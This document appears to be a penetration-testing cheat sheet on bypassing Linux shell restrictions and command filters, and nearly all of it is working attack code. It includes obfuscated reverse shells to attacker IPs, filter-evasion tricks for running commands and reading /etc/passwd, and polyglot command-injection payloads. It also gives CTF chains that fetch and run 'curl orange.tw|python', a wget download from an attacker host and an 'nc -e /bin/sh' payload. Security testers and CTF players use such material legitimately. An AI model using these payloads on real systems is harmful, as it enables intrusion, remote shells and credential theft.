# Bypass Linux Restrictions

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## Common Limitations Bypasses

### Reverse Shell

```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```

### Short Rev shell

```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```

### Bypass Paths and forbidden words

```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64

# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```

### Bypass forbidden spaces

```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```

### Bypass backslash and slash

```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

### Bypass pipes

```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```

### Bypass with hex encoding

```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```

### Bypass IPs

```bash
# Decimal IPs
127.0.0.1 == 2130706433
```

### Time based data exfiltration

```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```

### Getting chars from Env Variables

```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```

### DNS data exfiltration

You could use **burpcollab** or [**pingb**](http://pingb.in) for example.

### Builtins

In case you cannot execute external functions and only have access to a **limited set of builtins to obtain RCE**, there are some handy tricks to do it. Usually you **won't be able to use all** of the **builtins**, so you should **know all your options** to try to bypass the jail. Idea from [**devploit**](https://twitter.com/devploit).\
First of all check all the [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Then here you have some **recommendations**:

```bash
# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```

### Polyglot command injection

```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```

### Bypass potential regexes

```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```

### Bashfuscator

```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```

### RCE with 5 chars

```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```

### RCE with 4 chars

```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'
```

## Read-Only/Noexec/Distroless Bypass

If you are inside a filesystem with the **read-only and noexec protections** or even in a distroless container, there are still ways to **execute arbitrary binaries, even a shell!:**

{{#ref}}
bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}

## Chroot & other Jails Bypass

{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}

## Space-Based Bash NOP Sled ("Bashsledding")

When a vulnerability lets you partially control an argument that ultimately reaches `system()` or another shell, you may not know the exact offset at which execution starts reading your payload.  Traditional NOP sleds (e.g. `\x90`) do **not** work in shell syntax, but Bash will harmlessly ignore leading whitespace before executing a command.

Therefore you can create a *NOP sled for Bash* by prefixing your real command with a long sequence of spaces or tab characters:

```bash
# Payload sprayed into an environment variable / NVRAM entry
"                nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command
```

If a ROP chain (or any memory-corruption primitive) lands the instruction pointer anywhere within the space block, the Bash parser simply skips the whitespace until it reaches `nc`, executing your command reliably.

Practical use cases:

1. **Memory-mapped configuration blobs** (e.g. NVRAM) that are accessible across processes.
2. Situations where the attacker can not write NULL bytes to align the payload.
3. Embedded devices where only BusyBox `ash`/`sh` is available – they also ignore leading spaces.

> 🛠️  Combine this trick with ROP gadgets that call `system()` to dramatically increase exploit reliability on memory-constrained IoT routers.

## References & More

- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju

- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)

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